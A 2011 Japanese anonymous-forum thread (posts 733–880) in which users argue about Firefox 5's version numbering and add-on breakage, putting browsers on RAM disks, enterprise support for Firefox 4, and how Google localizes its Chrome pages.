733 :名無しさん@お腹いっぱい。:2011/06/22(水) 00:34:25.63 ID:7QPNwpq+0
Firefox5.0にアップデートしたが、正直違いがわからん

734 :名無しさん@お腹いっぱい。:2011/06/22(水) 00:49:09.98 ID:9S0xPcHO0
>>733
アドオンが使えなくなる

735 :名無しさん@お腹いっぱい。:2011/06/22(水) 00:54:04.47 ID:6v0q0dV80
いや、アップデートしたがアプリタブとやらも出ないし
アドオン全部使えてエラーも出ないぞ…?
中身変わってないんじゃないのかこれ

736 :名無しさん@お腹いっぱい。:2011/06/22(水) 00:59:11.71 ID:CShVDou+0
バージョンナンバーをインフレさせてるんだからそうなるわな

737 :名無しさん@お腹いっぱい。:2011/06/22(水) 01:06:43.39 ID:7QPNwpq+0
ホームボタンがタブになるってガセだったの?

738 :名無しさん@お腹いっぱい。:2011/06/22(水) 02:44:27.24 ID:9S0xPcHO0
アドオンを使えるようにするアドオンを入れましょう

Add-on Compatibility Reporter
ttps://addons.mozilla.org/ja/firefox/addon/add-on-compatibility-reporter/


739 :名無しさん@お腹いっぱい。:2011/06/23(木) 00:51:54.13 ID:0MvOQdgZ0
>>738
嘘教えるな
Help Mozilla make sure your favorite add-ons get
updated for upcoming Firefox releases by using
this extension to report whether they still work
or are having some issues with alpha and beta releases.
Note: Recommended for alpha and beta users only!

740 :名無しさん@お腹いっぱい。:2011/06/23(木) 00:58:02.24 ID:rIwUnFfW0
Fxのバージョンの数字あげる意味ってなんなの?
余計な仕事増えるからやめて欲しいんだけど
あれ誰が得するのよ

741 :名無しさん@お腹いっぱい。:2011/06/23(木) 01:41:09.35 ID:6i5YkVHm0
>>740
近いうちにアドオンの対応ブラウザのバージョンチェックが無くなるはずだからもうちょっとまて

742 :名無しさん@お腹いっぱい。:2011/06/23(木) 01:50:05.36 ID:rmVVih020
>>741
うほ、まじでか、これは期待だわ

743 :名無しさん@お腹いっぱい。:2011/06/23(木) 02:11:27.98 ID:xUbBI7730
近いうちにっていうか、バージョンアップの方針を変えた時から
(今回のアップデート時から)そうしておけって気もする。

744 :名無しさん@お腹いっぱい。:2011/06/23(木) 04:28:20.39 ID:aV/e3Mkx0
オペラ最強伝説

745 :名無しさん@お腹いっぱい。:2011/06/23(木) 07:48:25.76 ID:OXzul+oq0
まぁアドオン作者が切れかけてたからな
Firefoxはアドオン作者に見捨てられたらちょっとやばい
なんでもかんでも自前で実装しなければいけなくなるから

746 :名無しさん@お腹いっぱい。:2011/06/23(木) 14:06:49.90 ID:2EBn/5rPP
FirefoxはChromeのマネしかできなくなったんだな
だっせ

747 :名無しさん@お腹いっぱい。:2011/06/23(木) 14:47:31.67 ID:kCijVJJSi
>>731
ワロチwwwRAMディスクとか久々に聞いたwwwww

748 :名無しさん@お腹いっぱい。:2011/06/23(木) 15:14:49.23 ID:nB2+0+cXO
実際RAMディスクにブラウザ入れたら超軽いだろ、SSDの10倍以上の速度だし

749 :名無しさん@お腹いっぱい。:2011/06/23(木) 15:16:06.55 ID:iblKUyGe0
どうすればRAMディスクに入れられるのー?

750 :名無しさん@お腹いっぱい。:2011/06/23(木) 15:19:59.36 ID:fbCuEoa20
そんな奴ァいねぇ!!

751 :名無しさん@お腹いっぱい。:2011/06/23(木) 15:36:41.46 ID:aV/e3Mkx0
てか十分5で速くなったと思う
ストレスなく動作してる

なんか3年間手入れなしで乗ってた車を新車に変えたような乗り心地
不具合もひとつもなくてスムーズだよ

752 :名無しさん@お腹いっぱい。:2011/06/23(木) 15:41:29.49 ID:2EBn/5rPP
そっか

753 :名無しさん@お腹いっぱい。:2011/06/23(木) 16:53:46.68 ID:Ozde5Plu0
FirefoxのXmarksは、なぜか知らないうちに同期不能に陥るから
chromeに乗り換えちゃった

754 :名無しさん@お腹いっぱい。:2011/06/23(木) 18:23:16.31 ID:6i5YkVHm0
http://up3.viploader.net/net/src/vlnet006934.png
なんかインストーラーがおかしい
1回chromeをアンインストールしたら 回線のせいかわからないけどインストールできなくなった

755 :名無しさん@お腹いっぱい。:2011/06/23(木) 19:36:55.13 ID:2VzOorzuP
そりゃPCもウイルス入れられたくないもんな

756 :名無しさん@お腹いっぱい。:2011/06/23(木) 19:39:07.97 ID:n20MaDrH0
>>755
そうかな?むしろウィルスを腹いっぱい食べたいんじゃないかな

757 :名無しさん@お腹いっぱい。:2011/06/24(金) 22:52:04.36 ID:S/7sN3Lc0
>>747
懐かしいとか言ってる情弱いるんだな・・・
RAMディスク化すればどのブラウザでも超高速だぞ
RAMディスクが常識の今、ブラウザの選択肢は速度以外の何かだろ?
速度でブラウザ決めてる馬鹿はとっととRAMディスクでぐぐってこい

758 :名無しさん@お腹いっぱい。:2011/06/24(金) 22:58:05.63 ID:2KnajAXs0
RAMディスクとか馬鹿だろ。容量小さいし電気無駄に食うし。

ちゃんとSSD使え。

759 :名無しさん@お腹いっぱい。:2011/06/24(金) 23:08:36.04 ID:S/7sN3Lc0
SSDとかRAMディスク使ってると遅すぎて泣けてくるっつーの
あと容量小さいの意味がわからん

760 :名無しさん@お腹いっぱい。:2011/06/24(金) 23:13:05.48 ID:c/iQKbuAP
メモリもりもりさんのありがたいお言葉↑

761 :名無しさん@お腹いっぱい。:2011/06/24(金) 23:14:50.19 ID:2KnajAXs0
IEだとどれだけ大きな動画でも一旦キャッシュに保存されるのでコピペできるんだけど、
RAMディスクだと割り当てたサイズより大きな動画はその方法じゃ落とせないねと。

762 :名無しさん@お腹いっぱい。:2011/06/24(金) 23:17:31.78 ID:HPsHhJMX0
最近メモリのコスパ高いから
RAMディスクは有りだと思う
SSDはちょっとなぁ

763 :名無しさん@お腹いっぱい。:2011/06/24(金) 23:28:31.27 ID:S/7sN3Lc0
>>760
8Gを6000円で買える時代に何言ってんだ
>>761
その動画何十Gあるんだよw

764 :名無しさん@お腹いっぱい。:2011/06/24(金) 23:50:43.95 ID:2KnajAXs0
>>763
Homeエディションが何ギガ積めると思ってんだ。

仮に仮想化とか使ってOS管理外を割り当てるとしても、どれだけの電気を食うかわかってんのかと。

765 :名無しさん@お腹いっぱい。:2011/06/24(金) 23:53:21.35 ID:HPsHhJMX0
>>764
こういうレスって卑怯だよね
どれだけ積めるの?
どれだけ食うの?

766 :名無しさん@お腹いっぱい。:2011/06/24(金) 23:55:32.39 ID:KDhXcrZH0
俺BuffaloのRAMディスクにOpera入れてるw
512MBしかないけどw

767 :名無しさん@お腹いっぱい。:2011/06/24(金) 23:58:24.28 ID:S/7sN3Lc0
>>764
仮にじゃねーよw32bitだったら管理外割り当てが常識だろw
電気代は知らんわ
例えば8G積んで4GをRAMディスクに割り当てたらどれだけ電気代増えるんだよ

768 :名無しさん@お腹いっぱい。:2011/06/25(土) 00:01:42.94 ID:dircKt8/0
>>765
ぐぐれよ

>>767
かわらねーよ。

俺が言ってんのはRAMディスクのためにメモリを増やした場合の話だ。


769 :名無しさん@お腹いっぱい。:2011/06/25(土) 00:05:37.59 ID:AHxsMtC60
>>768
知らねーって言えよwww
はいはいスレチスレチ

770 :名無しさん@お腹いっぱい。:2011/06/25(土) 00:09:32.07 ID:r9hjM8iT0
>>768
で?電気代はいくら増えるのか教えてよw

771 :名無しさん@お腹いっぱい。:2011/06/25(土) 00:11:24.37 ID:dircKt8/0
>>770
変わらない。ただ、アプリの速度が遅くなるだけだ。

772 :名無しさん@お腹いっぱい。:2011/06/25(土) 00:13:43.83 ID:mmFmrcXS0
自分メモリ2GBで利用可能1.46GBなんだけどRAMディスクって効果ないのかな?
ブラウザだったらRamPhantomEX LEとかの方がいいのかね?
詳しい人教えて

773 :名無しさん@お腹いっぱい。:2011/06/25(土) 00:18:14.78 ID:r9hjM8iT0
>>772
512MBだけでも圧倒的な効果が見込めるよ
できたら2000円で2Gのメモリ買ってきて増設して全部RAMディスクにすることだな

774 :名無しさん@お腹いっぱい。:2011/06/25(土) 00:21:05.99 ID:mmFmrcXS0
>>773
2000円ぐらいならやってみるか
アドバイスありがトン!

775 :名無しさん@お腹いっぱい。:2011/06/25(土) 00:28:28.07 ID:AHxsMtC60
ブラウザが劇的に速くなってもな・・・
3年前のHDDで全く不満無いし

776 :名無しさん@お腹いっぱい。:2011/06/25(土) 00:34:15.09 ID:GMtExGnL0
RAMディスクとか懐かしいなw
今はかっぺしか使ってないだろ

777 :名無しさん@お腹いっぱい。:2011/06/25(土) 01:32:44.17 ID:xBoMoECqO
RAMディスクで超高速safariの俺が最強ってこと?

778 :名無しさん@お腹いっぱい。:2011/06/25(土) 11:05:15.46 ID:OlbrW7uJ0
2TBHDDを追加して、巨大キャッシュにするのはどうか。

779 :名無しさん@お腹いっぱい。:2011/06/25(土) 18:47:47.85 ID:SGGX1hkV0
RAMディスク使った事ない奴は使ってみろよ

780 :名無しさん@お腹いっぱい。:2011/06/25(土) 20:34:11.77 ID:RC3TQVsg0
RAMディスク厨w

781 :名無しさん@お腹いっぱい。:2011/06/25(土) 21:03:26.22 ID:NH0deene0
RAMディスクの話題が出てきて今までどのブラウザが軽いだなんだ言ってたやつが
顔真っ赤にしてるなw
今後は速度はどのブラウザも同じだから速度以外でどこがいいかを語るスレになるんだな
一気にsafariがトップ争いに加わる予感w

782 :名無しさん@お腹いっぱい。:2011/06/25(土) 21:08:33.19 ID:6/DrYHUyP
サファリって良い機能あったかなぁ

783 :名無しさん@お腹いっぱい。:2011/06/25(土) 21:13:01.61 ID:ykDtHlgc0
>一気にsafariがトップ争いに加わる予感w
絶対に、そんなことありえないから

784 :名無しさん@お腹いっぱい。:2011/06/25(土) 22:05:38.99 ID:j/XKl1MK0
SSDよりは高速化に寄与するな、RAMディスク
面倒だからやらんけどw

785 :名無しさん@お腹いっぱい。:2011/06/25(土) 22:32:03.10 ID:UGyjawsT0
>>781
RAMディスク使っているけれどもタブを開いたりウィンドウを
開いたりという動作はハードディスクを使っていたときとあまり変わらんよ。
Firefoxはもっさりだし、Operaは軽快。ウィンドウの描画はディスクより
CPUに依存するところが多いのではないかしら。

786 :名無しさん@お腹いっぱい。:2011/06/25(土) 22:34:41.05 ID:ILGj/L6K0
>>785
設定なして数時間ためしてみ
慣れっておそろしいを実感できる

787 :名無しさん@お腹いっぱい。:2011/06/25(土) 22:36:02.97 ID:wzPZDNsG0
Operaはオペラ社の空想が、ChromeにはGoogleの戦略が
Firefoxにはヲタクの執念が詰まっている。

そういう意味ではパンピー向けに開発されているIEやSafariで、
どの機能が必要最低限と判定されたかは興味深いな。

例えばSafariでは、サイドバーという代物はヲタ向けの機能であり、
一般人にはそぐわない考えられているようだ。

788 :名無しさん@お腹いっぱい。:2011/06/25(土) 22:40:26.89 ID:6/DrYHUyP
サファリもサイドバーないのかウェブキット系糞だな

789 :名無しさん@お腹いっぱい。:2011/06/25(土) 22:46:16.61 ID:SeJeXegsP
サイドバーwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
時代遅れの老害おつwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

790 :名無しさん@お腹いっぱい。:2011/06/25(土) 22:47:51.72 ID:R80JGmSl0
そんなに文句言うならどう使ってるかキャプ貼れよ

791 :名無しさん@お腹いっぱい。:2011/06/25(土) 22:50:11.82 ID:K1Q/T7LM0
>>789
比率が16:9のモニタが主流の昨今、サイドバーは邪魔にならなくなった

792 :名無しさん@お腹いっぱい。:2011/06/25(土) 22:52:13.50 ID:ILGj/L6K0
草生やしてる奴はバカにみえてしかたないな

793 :名無しさん@お腹いっぱい。:2011/06/25(土) 23:01:19.05 ID:UGyjawsT0
>>786

何を言っているのか全然わからない

794 :名無しさん@お腹いっぱい。:2011/06/25(土) 23:37:59.73 ID:QdNl1UYU0
>>791
毎回フルスクリーンで見るわけじゃないので今まで通りスリムだと略

795 :名無しさん@お腹いっぱい。:2011/06/25(土) 23:38:57.45 ID:rYGIRls40
設定無しで、だろう
今はキャッシュを置くくらいにしか使ってないけど、
HDDの場合は、それでもあるとなしじゃ随分と違う
つうか、SSD誰かくれ

796 :名無しさん@お腹いっぱい。:2011/06/26(日) 00:44:16.63 ID:542/ESVJ0
Firefoxは本体まるごとRAMディスクに入れると爆速
他のブラウザでそれができるのかは知らん

797 :名無しさん@お腹いっぱい。:2011/06/26(日) 00:54:32.92 ID:lVYbdTNp0
>>796
どのブラウザもportableappsにあるはずだ
operaはデフォでポータブル化できる
IE()

798 :名無しさん@お腹いっぱい。:2011/06/26(日) 01:15:36.14 ID:F/vefT9R0
『Firefox 7』では起動が大幅に高速化
http://japan.internet.com/webtech/20110625/3.html

>、リーク検出の不具合もいくつかあったが、今度こそ大丈夫なはずだ (過去に2度キャンセルになっている)」

なんか激しく地雷臭が

799 :名無しさん@お腹いっぱい。:2011/06/26(日) 01:34:10.88 ID:QEAJuP6H0
>>796
それ俺じゃん

800 :名無しさん@お腹いっぱい。:2011/06/26(日) 01:37:18.71 ID:TSrhI8RF0
>>796
爆速というのは言い過ぎだと思います。盛っていると思います。
舞い上がっていると思います。不適切だと思います。
過信していると思います。のぼせていると思います。
軽率だと思います。図に乗っていると思います。

801 :名無しさん@お腹いっぱい。:2011/06/26(日) 02:17:00.27 ID:fB1vtWZ80
あら^^

802 :名無しさん@お腹いっぱい。:2011/06/26(日) 20:50:15.98 ID:f5tgtT830
RAMディスクってのがそんなに便利ならブラウザ側でキャッシュだけもRAMディスクに設定してくれればいいのに。
メーカーが最初から1GBくらいRAMディスク同梱してプレゼントしてくれればいいのに。あーあー。情弱には面倒だ。

803 :名無しさん@お腹いっぱい。:2011/06/26(日) 21:10:20.94 ID:m9zA2uM10
>>802
OperaはキャッシュをRAMに設定できるよ。ディスクの方のキャッシュがバグあり気味だけど・・・。


804 :名無しさん@お腹いっぱい。:2011/06/26(日) 21:52:41.56 ID:FagihUz90
メモリ16GBあるから5GBくらいキャッシュで使ってほしいんだが
そんな変態仕様のブラウザねーよな

805 :名無しさん@お腹いっぱい。:2011/06/26(日) 21:57:56.01 ID:QEAJuP6H0
>>804
それ面白いなw
是非開発してほしい

806 :名無しさん@お腹いっぱい。:2011/06/26(日) 22:00:05.09 ID:uzEdyA5/0
>>804
自分で5G割り当てればいいだけだよ

807 :名無しさん@お腹いっぱい。:2011/06/26(日) 22:04:50.62 ID:m9zA2uM10
キャッシュをそこまで多くして何の意味があるんだ。しかもメモリーでしょ。


808 :名無しさん@お腹いっぱい。:2011/06/26(日) 23:41:40.98 ID:uzEdyA5/0
FirefoxをRAMディスクに完全インストールして信じられないほど高速化する方法!
http://antarespc.com/web-browser/firefox-ram-disc.html

Google ChromeをRAMディスクに丸ごとインストールして超高速化する方法!
http://antarespc.com/web-browser/google-chrome-ram-disk.html

809 :名無しさん@お腹いっぱい。:2011/06/27(月) 00:27:15.41 ID:QDpvMvEU0
おまえらスレタイ読み返せ

810 :名無しさん@お腹いっぱい。:2011/06/27(月) 01:25:48.95 ID:SZoejgP40
改めて見るとSafariの場違い感とスレタイのイタさが半端ない

811 :名無しさん@お腹いっぱい。:2011/06/27(月) 01:42:51.59 ID:QDpvMvEU0
他のブラウザスレでイタいやつ見かけたら
ここに誘導しれ

812 :名無しさん@お腹いっぱい。:2011/06/27(月) 01:44:22.97 ID:GI4Umeu5P
ごめん それいつもやってるわ

813 :名無しさん@お腹いっぱい。:2011/06/27(月) 10:01:10.18 ID:69sXOYK2i
Firefox 4のサポート打ち切りに企業から不満の声、MicrosoftはIEをアピール
http://www.itmedia.co.jp/news/articles/1106/27/news011.html

まあ、こうなるわな。
毎回ナンバーを変更したら中身がメジャーアップデートなのかマイナーアップデートなのか区別がつかなくなる。
法人ユーザーは毎回検証しないとアップデート出来ないのに、古いバージョンは即サポートが切られる。
Chromeが法人に浸透しにくいのもこの辺りが理由だろうし、Firefoxが法人で粘ってたのもこれが理由だろうな。

そしてさすがのMicrosoft。
なんだかんだでレガシーを一番長くサポートするのはこの会社。

814 :名無しさん@お腹いっぱい。:2011/06/27(月) 10:32:04.20 ID:X9d9BQdF0
まだfirefox3.6のサポート続けてるじゃん。
マイクロソフトはvista、7の強引なIE9化を進めながらIE6の排除を進めてるし、論理が破綻してる。
Chromeについては同意だが

815 :名無しさん@お腹いっぱい。:2011/06/27(月) 10:45:39.91 ID:XV8qEBz50
結局殆どの企業はFirefox3.6使い続けるだろうな

816 :名無しさん@お腹いっぱい。:2011/06/27(月) 10:51:38.36 ID:G+jRWveu0
IE6が出たのは10年前だぜ

>>810
それはお前がMacもiOSもSafariも使ってないからだ

817 :名無しさん@お腹いっぱい。:2011/06/27(月) 11:02:46.37 ID:G+jRWveu0
日本人の良くないところは、マジョリティがマイノリティを弾圧する事を正義としている点。
空気を読めるマジョリティこそが正義であり、マイノリティとの間に最初から議論する余地無しと決めつけている。

818 :名無しさん@お腹いっぱい。:2011/06/27(月) 11:10:28.63 ID:XV8qEBz50
OS論争はやめようず

819 :名無しさん@お腹いっぱい。:2011/06/27(月) 11:35:38.81 ID:fSIZLcqs0
マイノリティなブラウザとか使う意味は殆ど無いだろ
低スペに優しいとかそういう特徴でもあれば別だが

820 :名無しさん@お腹いっぱい。:2011/06/27(月) 11:38:20.92 ID:+8DrONCa0
マイノリティほどハッカーに狙われにくくなる鉄則は無視ですか

821 :名無しさん@お腹いっぱい。:2011/06/27(月) 11:49:21.64 ID:fSIZLcqs0
その枠はOperaで埋まっていると言いたいのだな
WinにおけるSafariなんて存在理由は殆ど無いだろ

822 :名無しさん@お腹いっぱい。:2011/06/27(月) 12:03:28.08 ID:+8DrONCa0
SafariのWin版の目的は
Safari対応サイトを増やす、そしてクラウド対応iTunesのための準備だろ。

823 :名無しさん@お腹いっぱい。:2011/06/27(月) 12:53:35.25 ID:D8prGkSc0
>WinにおけるSafariなんて存在理由は殆ど無いだろ
Winに限定してしまえば殆どないってのは間違い無いが、全体的に見たらChromeやOperaよりはあるんじゃね?

824 :名無しさん@お腹いっぱい。:2011/06/27(月) 12:58:07.07 ID:Zgm+xpQF0
んだな
OSX用IEが存在しない今(昔IE4.5はあったが)、貴重な存在

825 :名無しさん@お腹いっぱい。:2011/06/27(月) 13:33:09.74 ID:N5k8MC/w0
MacにおいてはOperaがちょっとやばい
実はMac上ではFirefox以上にOSと操作の整合性がない
この点はMac使ったことないとちょっとわからないのだが

826 :名無しさん@お腹いっぱい。:2011/06/27(月) 13:37:53.50 ID:gsUyEVdG0
>>825
とりあえず見てくれだけでも昔よりMacOSX風に近づいたから、
それでよしとしようぜ。

827 :名無しさん@お腹いっぱい。:2011/06/27(月) 13:38:45.14 ID:dhae0rHa0
>>820
ハッカーじゃねぇよ ゴミクラッカーだバカ

828 :名無しさん@お腹いっぱい。:2011/06/27(月) 13:40:03.28 ID:5Zg1KlAX0
>>814
IE6の排除なんてしてないじゃん
さっさとIE8か9に以降しろとは言ってるけど、
IE6のセキュリティパッチはXPの延長サポート終了まで提供される
使いたければそれまでは使っていても問題ない

829 :名無しさん@お腹いっぱい。:2011/06/27(月) 14:02:54.23 ID:2QfHM+yk0
linux導入してるところでもfirefox3.6.15かなんかでアップデートが止まってる
管理者ちゃんとしろよ

830 :名無しさん@お腹いっぱい。:2011/06/27(月) 15:10:54.09 ID:0uSaX9QH0
firefox3.6使ってるんだがなんか今後どんどん勝手にUIの違う新版に
バージョンアップされてくようになるという噂聞いて先行き不安になってる
なんでわざわざ使い慣れたものを変化させるんだろう

乗り換え先候補としてcromeいじってるけどどうにも
俺にはかゆいところに手が届くようなカスタマイズできない、
次はoperaを試そうと思うけどブラウザの乗り換えってえらく手間がかかってめんどいね

831 :名無しさん@お腹いっぱい。:2011/06/27(月) 17:54:49.37 ID:qMFIJvA8P
Safariってちょいちょい問題起こしてるイメージしかねーな

832 :名無しさん@お腹いっぱい。:2011/06/27(月) 20:16:12.76 ID:OavA/CLt0
>>830
心配するなfirefoxの4も5も見た目は同じだw


833 :名無しさん@お腹いっぱい。:2011/06/27(月) 22:34:06.35 ID:l8RzHEYv0
4以降はほぼ数字変わるだけなのに何故そんな騒ぐんだろう
Chromeにしてもさほど中身変わってないと思うんだが

自分は狐使ってるけど理由なんてUNIXでも設定やら考え直さずに使えたからだわ
同じOS内でもブラウザ移行とか面倒なのに態々他使う気になれん

834 :名無しさん@お腹いっぱい。:2011/06/27(月) 23:45:47.45 ID:gZfJbQWi0
Chrome起動時に超遅いんだけど、ブックマークツールバー使わないほうがいの?

835 :名無しさん@お腹いっぱい。:2011/06/28(火) 14:16:51.12 ID:9jmHO3VOO
>>834
>>808

836 :名無しさん@お腹いっぱい。:2011/06/28(火) 19:00:05.23 ID:1yo4syXM0
Operaはmacで動かしてもカラープロファイルに対応しないっていう謎仕様ってきいたけどまじか

837 :名無しさん@お腹いっぱい。:2011/06/28(火) 19:05:23.86 ID:QRwDLTfT0
>>835
マックですw

838 :名無しさん@お腹いっぱい。:2011/06/28(火) 19:41:30.26 ID:G+Ri2NOO0
>>837
ttp://mag.torumade.nu/?p=766
ttp://lifehacker.com/5730541/move-firefox-and-chromes-cache-to-a-ram-disk-for-faster-browsing

くれぐれも自己責任でな。

839 :名無しさん@お腹いっぱい。:2011/06/28(火) 20:53:23.44 ID:1O2yEII60
ttp://www.google.co.jp/chrome/

で色々な言語を選択してみると、Google社が国民性をどう考えているかわかるぞ。
ほとんど同じなのだが、微妙なローカライズが面白い。

・インドネシア人にはスキンで売り込め
・ブラジル人にもスキンを一押し
・ドイツ人には専門家の意見が有効
・ロシア人にはGoogleよりもYoutubeを押す
・イギリス、フランス、イタリアではGoogleをトップページに。

そして日本だけ圧倒的に違う。
もちろん日本市場を重視してくれてるのだが、

「日本人は"みんな"も使っていると思わせることが肝心」

とGoogle社が考えてることがよ〜くわかる(苦笑)

840 :名無しさん@お腹いっぱい。:2011/06/28(火) 20:57:50.76 ID:0q31eixM0
>>839
一昔前の日本人感だな。Googleみたいな新しい会社はそう思ってないかも。

>>830
Operaは起動が速いこと、flashと相性がいいこと、等の利点はあるが、何か
不自然な動きがある。クリップボードの反映が遅くないか?いらっとする。


841 :名無しさん@お腹いっぱい。:2011/06/28(火) 21:01:27.85 ID:1O2yEII60
>>840
思ってなかったらあんなページ作りにはならんよ。

842 :名無しさん@お腹いっぱい。:2011/06/28(火) 21:10:55.44 ID:0q31eixM0
>>841
速い、簡単、しか書いてないと思うんだが、どのへんが>>841
オッサンの琴線に触れたんだろう?


843 :名無しさん@お腹いっぱい。:2011/06/28(火) 21:17:18.75 ID:1O2yEII60
>>842
重要なのはそれ以外の情報だな。

844 :名無しさん@お腹いっぱい。:2011/06/28(火) 21:19:25.36 ID:y/bZcJ9K0
六本木ヒルズをググる学生に研究者、会社役員
こういった人達がGoogleの想定しているユーザーです
決して”みんな”が使っていると思わせることが肝心だとは思ってないのでは?

845 :名無しさん@お腹いっぱい。:2011/06/28(火) 21:22:20.11 ID:1O2yEII60
>>844
言ってて虚しくないか?

846 :名無しさん@お腹いっぱい。:2011/06/28(火) 21:23:27.22 ID:4y/SbngC0
日本向けの戦略は、
なんか、変なマンガがあったじゃん?

847 :名無しさん@お腹いっぱい。:2011/06/28(火) 21:26:05.80 ID:y/bZcJ9K0
>>845
そこはほら、鏡に向かって言ってもらわないと

848 :名無しさん@お腹いっぱい。:2011/06/28(火) 21:36:31.61 ID:1O2yEII60
次は文字以外の情報だな。
なぜあの顔のイラストを出さなければならなかったのか。

まさか、こういう顔の人がGoogleの想定するユーザーです。
決して全ての顔の人に向けてアピールしているわけではありません。
とか言い出すわけじゃあるまいね(苦笑)

849 :名無しさん@お腹いっぱい。:2011/06/28(火) 21:41:42.60 ID:vJboMCArP
日本のクロームユーザーは大抵あんな感じだよ

850 :名無しさん@お腹いっぱい。:2011/06/28(火) 22:17:07.44 ID:IsuV4wpQ0
>>844
ヒルズ族(笑)

夜中に乱交する様な連中が使ってるとなると駄目だろうw

まあ、Googleらしいけどさ
ヒルズってそういう感じの所だが、やっぱりそういう連中と親和性があるんだろうね

851 :名無しさん@お腹いっぱい。:2011/06/28(火) 22:31:12.46 ID:iwu++lcX0
>>日本人は"みんな"も使っていると思わせることが肝心」
IEユーザーは、こんな感覚で使ってんだろ

852 :名無しさん@お腹いっぱい。:2011/06/28(火) 22:42:20.71 ID:vJboMCArP
IEの場合最初から入ってるからだろ

853 :名無しさん@お腹いっぱい。:2011/06/28(火) 23:57:52.47 ID:1p6TolkW0
>>839
Googleは何もわかっていない。
ttp://msdn.microsoft.com/ja-jp/windowsazure/gg194745
ttp://bb.watch.impress.co.jp/img/bbw/docs/336/896/bing.jpg
ttp://www.microsoft.com/taiwan/silverlight/

854 :名無しさん@お腹いっぱい。:2011/06/29(水) 00:19:20.57 ID:E7r9BgaR0
>>853
今日からBingユーザーになるわ

855 :名無しさん@お腹いっぱい。:2011/06/29(水) 01:55:20.78 ID:kL+tdOQV0
chromeはトンキンヒルズ族御用達ブラウザなんですね

856 :名無しさん@お腹いっぱい。:2011/06/29(水) 03:44:31.14 ID:UY1hppNw0
>>855
大阪人もパソコンなんて使うのか?

857 :名無しさん@お腹いっぱい。:2011/06/29(水) 04:29:00.94 ID:ViouZ+Br0
>>850
夜中に乱交してようが、仕事が出来て稼ぎがある優秀な人間ならそれで良いと思うが。

858 :名無しさん@お腹いっぱい。:2011/06/29(水) 04:39:22.11 ID:BwvEa7J20
あの変な絵って日本だけだったのか

859 :名無しさん@お腹いっぱい。:2011/06/29(水) 06:06:37.91 ID:feeKP3f80
>>853
Googleと比べると神がかってるな

860 :名無しさん@お腹いっぱい。:2011/06/29(水) 06:38:27.67 ID:xBwuJ+Fn0
>>850
夜中に2chやってるよりいいだろ

861 :名無しさん@お腹いっぱい。:2011/06/29(水) 10:57:07.01 ID:89poXALb0
>>857
それでいいならスキャンダルにならない
世間一般の人はそれでは駄目と考えてるんだよ

862 :名無しさん@お腹いっぱい。:2011/06/29(水) 13:57:15.04 ID:oqdUa0E10
あやしい人脈というかブラックな連中御用達のブラウザがChrome
っていうか、>>857みたいなのが、Google的価値感なんじゃないのかな、マジで

863 :名無しさん@お腹いっぱい。:2011/06/29(水) 16:51:09.19 ID:iVon50jN0
トンキン人きめえw

864 :名無しさん@お腹いっぱい。:2011/06/29(水) 18:23:04.70 ID:fLCi3LTK0
chrome使ってる連中はスノッブの香りが凄いかな
オペラだとオペラ最強伝説とか半ば茶化してるけど
chromeだけはマジで嗜好のブラウザとか思ってそう
Fxはとにかくにもアドオン対応早くしろ!だしw

865 :名無しさん@お腹いっぱい。:2011/06/29(水) 20:11:16.50 ID:o5tidk3T0
http://wktk.vip2ch.com/vipper9851.png
何でオペラだけ先に表示とかが英語版になってるの?
オペラだけなんかいつもおかしい

866 :名無しさん@お腹いっぱい。:2011/06/29(水) 20:19:04.85 ID:q+8lS8RJ0
意味がわからない

867 : 忍法帖【Lv=4,xxxP】 :2011/06/29(水) 20:20:40.33 ID:C/3ilzns0
まったく理解できない

868 :名無しさん@お腹いっぱい。:2011/06/29(水) 20:45:09.28 ID:S8RBUmWRP
お前が日本語出来てないからじゃないか?
よくわからんけど

869 :名無しさん@お腹いっぱい。:2011/06/29(水) 20:50:56.28 ID:C/3ilzns0
俺も言ってること理解できないと言ってるやつの9割はそいつの読解力がないせいだと思ってる

でも>>865はホントに何のことかわからない

870 :名無しさん@お腹いっぱい。:2011/06/29(水) 20:59:23.17 ID:o5tidk3T0
chromeだけ googleの上の黒いのが白いまま

operaとieだけ 
検索した後の左側のアイコン 選択中のものが色付で それ以外がグレー
他のブラウザは全部色付 googleのロゴのある部分の範囲が全部横にグレー 検索ボタンが虫眼鏡

871 :名無しさん@お腹いっぱい。:2011/06/29(水) 21:28:28.16 ID:q+8lS8RJ0
そんなんGoogleがやってることだから知らんわ
うちではIE8もFx5もOpera11.50もSafari5も同じ表示だよ
クッキーか何かで変な設定が残ってるんだろ
Googleの右上の歯車、面倒ならクッキー削除

872 :名無しさん@お腹いっぱい。:2011/06/29(水) 21:33:54.51 ID:dFqG040Q0
今までFirefoxだったがIE9にしてみたらもうFirefoxには戻れないと思った
IE8までとは完全別次元に進化してた

873 :名無しさん@お腹いっぱい。:2011/06/29(水) 21:45:28.81 ID:FXdN8uzp0
>>870
Google、検索ページやマップのデザイン変更を発表――よりシンプルに - ITmedia ニュース
http://www.itmedia.co.jp/news/articles/1106/29/news027.html

874 :名無しさん@お腹いっぱい。:2011/06/30(木) 04:29:49.64 ID:Y9Hznq220
今日はChrome,Opera,ThunderbirdをVerUpした
アドオン35個のFxから移行できそうにないな

875 :名無しさん@お腹いっぱい。:2011/06/30(木) 09:32:13.36 ID:IL5VRhiR0
Operaメインの俺でも、Firefoxはどうしても必要。
やはりアドオンの機能が豊富すぎる。
Firefoxではなくてアドオンを起動している感覚だ。

だから>>872みたいのは全く理解出来ない。

876 :名無しさん@お腹いっぱい。:2011/06/30(木) 12:36:13.83 ID:5vvLLVd+O
>>875


877 :名無しさん@お腹いっぱい。:2011/06/30(木) 14:37:49.51 ID:6ZeUxVtA0
safariでニコ動自動入力できないのはなぜですか?
おしえてくらはい><

878 :名無しさん@お腹いっぱい。:2011/06/30(木) 14:41:15.58 ID:rvjAs/zD0
>>875
> Firefoxではなくてアドオンを起動している感覚

わかるわぁ、と思った俺もOpera使い
FirefoxはブラウザというよりもWebツールとして手放せない
自由度も拡張性も高いし、ちょっとくらい起動が遅くてメモリを消費しても全く気にならい(たまにしか起動しないし、すぐに終了させるし)

879 :名無しさん@お腹いっぱい。:2011/06/30(木) 14:57:04.12 ID:dNekUp1/0
なるほど、Firefoxはブラウザとして使いもにならないと

880 :名無しさん@お腹いっぱい。:2011/06/30(木) 15:01:29.20 ID:ZwUKhpH90


